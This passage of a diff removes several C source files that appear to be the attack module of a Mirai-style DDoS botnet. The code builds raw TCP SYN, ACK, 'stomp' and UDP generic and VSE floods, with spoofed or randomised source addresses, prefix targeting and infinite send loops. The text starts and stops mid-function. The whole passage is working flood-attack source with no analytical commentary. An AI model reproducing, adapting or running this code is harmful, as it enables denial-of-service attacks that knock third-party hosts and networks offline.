udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
|
||||
targs[i].sock_addr.sin_port = 0;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
break;
|
||||
#endif
|
||||
}
|
||||
}
|
|
@ -1,489 +0,0 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
|
||||
void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
|
||||
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
uint8_t *opts;
|
||||
|
||||
pkts[i] = calloc(128, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
opts = (uint8_t *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
tcph->source = htons(sport);
|
||||
tcph->dest = htons(dport);
|
||||
tcph->seq = htons(seq);
|
||||
tcph->doff = 10;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
|
||||
// TCP MSS
|
||||
*opts++ = PROTO_TCP_OPT_MSS; // Kind
|
||||
*opts++ = 4; // Length
|
||||
*((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
|
||||
opts += sizeof (uint16_t);
|
||||
|
||||
// TCP SACK permitted
|
||||
*opts++ = PROTO_TCP_OPT_SACK;
|
||||
*opts++ = 2;
|
||||
|
||||
// TCP timestamps
|
||||
*opts++ = PROTO_TCP_OPT_TSVAL;
|
||||
*opts++ = 10;
|
||||
*((uint32_t *)opts) = rand_next();
|
||||
opts += sizeof (uint32_t);
|
||||
*((uint32_t *)opts) = 0;
|
||||
opts += sizeof (uint32_t);
|
||||
|
||||
// TCP nop
|
||||
*opts++ = 1;
|
||||
|
||||
// TCP window scale
|
||||
*opts++ = PROTO_TCP_OPT_WSS;
|
||||
*opts++ = 3;
|
||||
*opts++ = 6; // 2^6 = 64, window size scale = 64
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
tcph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
tcph->dest = rand_next() & 0xffff;
|
||||
if (seq == 0xffff)
|
||||
tcph->seq = rand_next();
|
||||
if (ack == 0xffff)
|
||||
tcph->ack_seq = rand_next();
|
||||
if (urg_fl)
|
||||
tcph->urg_ptr = rand_next() & 0xffff;
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
|
||||
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
char *payload;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
payload = (char *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
tcph->source = htons(sport);
|
||||
tcph->dest = htons(dport);
|
||||
tcph->seq = htons(seq);
|
||||
tcph->doff = 5;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
tcph->window = rand_next() & 0xffff;
|
||||
if (psh_fl)
|
||||
tcph->psh = TRUE;
|
||||
|
||||
rand_str(payload, data_len);
|
||||
}
|
||||
|
||||
// targs[0].sock_addr.sin_port = tcph->dest;
|
||||
// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
|
||||
// {
|
||||
//
|
||||
// }
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
char *data = (char *)(tcph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
tcph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
tcph->dest = rand_next() & 0xffff;
|
||||
if (seq == 0xffff)
|
||||
tcph->seq = rand_next();
|
||||
if (ack == 0xffff)
|
||||
tcph->ack_seq = rand_next();
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, rfd;
|
||||
struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
|
||||
// Set up receive socket
|
||||
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Could not open raw socket!\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(rfd);
|
||||
return;
|
||||
}
|
||||
|
||||
// Retrieve all ACK/SEQ numbers
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
int fd;
|
||||
struct sockaddr_in addr, recv_addr;
|
||||
socklen_t recv_addr_len;
|
||||
char pktbuf[256];
|
||||
time_t start_recv;
|
||||
|
||||
stomp_setup_nums:
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create socket!\n");
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
|
||||
// Set it in nonblocking mode
|
||||
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
|
||||
|
||||
// Set up address to connect to
|
||||
addr.sin_family = AF_INET;
|
||||
if (targs[i].netmask < 32)
|
||||
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
else
|
||||
addr.sin_addr.s_addr = targs[i].addr;
|
||||
if (dport == 0xffff)
|
||||
addr.sin_port = rand_next() & 0xffff;
|
||||
else
|
||||
addr.sin_port = htons(dport);
|
||||
|
||||
// Actually connect, nonblocking
|
||||
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
start_recv = time(NULL);
|
||||
|
||||
// Get info
|
||||
while (TRUE)
|
||||
{
|
||||
int ret;
|
||||
|
||||
recv_addr_len = sizeof (struct sockaddr_in);
|
||||
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
|
||||
if (ret == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Could not listen on raw socket!\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
|
||||
{
|
||||
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
|
||||
|
||||
if (tcph->source == addr.sin_port)
|
||||
{
|
||||
if (tcph->syn && tcph->ack)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
char *payload;
|
||||
|
||||
stomp_data[i].addr = addr.sin_addr.s_addr;
|
||||
stomp_data[i].seq = ntohl(tcph->seq);
|
||||
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
|
||||
stomp_data[i].sport = tcph->dest;
|
||||
stomp_data[i].dport = addr.sin_port;
|
||||
#ifdef DEBUG
|
||||
printf("ACK Stomp got SYN+ACK!\n");
|
||||
#endif
|
||||
// Set up the packet
|
||||
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
payload = (char *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = stomp_data[i].addr;
|
||||
|
||||
tcph->source = stomp_data[i].sport;
|
||||
tcph->dest = stomp_data[i].dport;
|
||||
tcph->seq = stomp_data[i].ack_seq;
|
||||
tcph->ack_seq = stomp_data[i].seq;
|
||||
tcph->doff = 8;
|
||||
tcph->fin = TRUE;
|
||||
tcph->ack = TRUE;
|
||||
tcph->window = rand_next() & 0xffff;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
|
||||
rand_str(payload, data_len);
|
||||
break;
|
||||
}
|
||||
else if (tcph->fin || tcph->rst)
|
||||
{
|
||||
close(fd);
|
||||
goto stomp_setup_nums;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (time(NULL) - start_recv > 10)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
|
||||
#endif
|
||||
close(fd);
|
||||
goto stomp_setup_nums;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Start spewing out traffic
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
char *data = (char *)(tcph + 1);
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->seq = htons(stomp_data[i].seq++);
|
||||
tcph->ack_seq = htons(stomp_data[i].ack_seq);
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
|
@ -1,547 +0,0 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
#include "util.h"
|
||||
#include "table.h"
|
||||
#include "protocol.h"
|
||||
|
||||
static ipv4_t get_dns_resolver(void);
|
||||
|
||||
void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if (data_len > 1460)
|
||||
data_len = 1460;
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = (uint16_t)rand_next();
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next();
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next();
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);
|
||||
char *vse_payload;
|
||||
int vse_payload_len;
|
||||
|
||||
table_unlock_val(TABLE_ATK_VSE);
|
||||
vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
char *data;
|
||||
|
||||
pkts[i] = calloc(128, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
data = (char *)(udph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);
|
||||
|
||||
*((uint32_t *)data) = 0xffffffff;
|
||||
data += sizeof (uint32_t);
|
||||
util_memcpy(data, vse_payload, vse_payload_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
|
||||
